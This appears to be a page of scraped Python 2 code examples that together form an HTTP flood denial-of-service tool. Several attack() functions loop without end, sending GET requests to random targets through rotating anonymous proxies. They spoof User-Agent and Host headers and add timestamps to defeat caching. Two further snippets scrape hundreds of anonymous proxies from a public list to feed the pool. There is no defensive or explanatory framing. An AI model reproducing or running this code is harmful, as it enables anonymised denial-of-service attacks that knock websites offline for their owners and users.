Exemplo n.º 1
0
def attack():
    global pool
    global g_lst_target
    proxy = pool.pop()
    while proxy is None:
        proxy = pool.pop()
        time.sleep(10)
    time.sleep(5)
    while True:
        try:
            put = 1
            target = random.choice(g_lst_target)
            proxies = {'http': 'http://%s:%s' % (proxy.ip, proxy.port)}
            s = requests.Session()
            headers = {'User-Agent': useragenthelper.get()}
            if g_target_host is not None:
                if len(g_target_host)>0:
                    headers['Host'] = g_target_host
            r = s.get(target, timeout=2, headers=headers, proxies=proxies)
            print r.text
        except ConnectionError:
            #put = 0
            pass
        except:
            print 'Request Failed'
            #import traceback
            #print traceback.print_exc()
            pass
        if put == 1:
            pool.put(proxy)
        proxy = pool.pop()
        while proxy is None:
            proxy = pool.pop()
            time.sleep(5)
Exemplo n.º 2
0
 def get(Class):
     ret = []
     try:
         headers = {'User-Agent': useragenthelper.get()}
         r = requests.get('http://66ip.cn/nmtq.php?getnum=500&isp=0&anonymoustype=4&start=&ports=&ipaddress=&area=0&proxytype=0&proxytype=1&api=71daili', timeout = 10, headers=headers)
         for i in re.findall('(\d+.\d+.\d+.\d+):(\d+)', r.text):
             ret.append(proxypool.Proxy(i[0], i[1]))
         print 'Get %s proxy from Form66ip' % str(len(ret))
     except:
         pass
     return ret
Exemplo n.º 3
0
 def get(Class):
     ret = []
     try:
         headers = {'User-Agent': useragenthelper.get()}
         r = requests.get(
             'http://66ip.cn/nmtq.php?getnum=500&isp=0&anonymoustype=4&start=&ports=&ipaddress=&area=0&proxytype=0&proxytype=1&api=71daili',
             timeout=10,
             headers=headers)
         for i in re.findall('(\d+.\d+.\d+.\d+):(\d+)', r.text):
             ret.append(proxypool.Proxy(i[0], i[1]))
         print 'Get %s proxy from Form66ip' % str(len(ret))
     except:
         pass
     return ret
Exemplo n.º 4
0
def attack():
    global pool
    global g_lst_target
    proxy = pool.pop()
    while proxy is None:
        proxy = pool.pop()
        time.sleep(1)
    while True:
        try:
            put = 1
            target = random.choice(g_lst_target)
            if g_append_rnd_val == 1:
                target += str(time.time())
            if g_bypasscache == 1:
                if "?" in target:
                    target += "&t=" + str(time.time())
                else:
                    target += "?t=" + str(time.time())
            proxies = {"http": "http://%s:%s" % (proxy.ip, proxy.port)}
            s = requests.Session()
            headers = {"User-Agent": useragenthelper.get()}
            if g_target_host is not None:
                if len(g_target_host) > 0:
                    headers["Host"] = g_target_host
            r = s.get(target, timeout=2, headers=headers, proxies=proxies)
            print r.text[:100]
        except ConnectionError:
            put = 0
            pass
        except:
            print "Request Failed"
            # import traceback
            # print traceback.print_exc()
            pass
        if put == 1:
            pool.put(proxy)
        proxy = pool.pop()
        while proxy is None:
            proxy = pool.pop()
            time.sleep(5)
Exemplo n.º 5
0
def attack():
    global pool
    global g_lst_target
    proxy = pool.pop()
    while proxy is None:
        proxy = pool.pop()
        time.sleep(1)
    while True:
        try:
            put = 1
            target = random.choice(g_lst_target)
            if g_append_rnd_val == 1:
                target += str(time.time())
            if g_bypasscache == 1:
                if '?' in target:
                    target += '&t=' + str(time.time())
                else:
                    target += '?t=' + str(time.time())
            proxies = {'http': 'http://%s:%s' % (proxy.ip, proxy.port)}
            s = requests.Session()
            headers = {'User-Agent': useragenthelper.get()}
            if g_target_host is not None:
                if len(g_target_host) > 0:
                    headers['Host'] = g_target_host
            r = s.get(target, timeout=2, headers=headers, proxies=proxies)
            print r.text[:100]
        except ConnectionError:
            put = 0
            pass
        except:
            print 'Request Failed'
            #import traceback
            #print traceback.print_exc()
            pass
        if put == 1:
            pool.put(proxy)
        proxy = pool.pop()
        while proxy is None:
            proxy = pool.pop()
            time.sleep(5)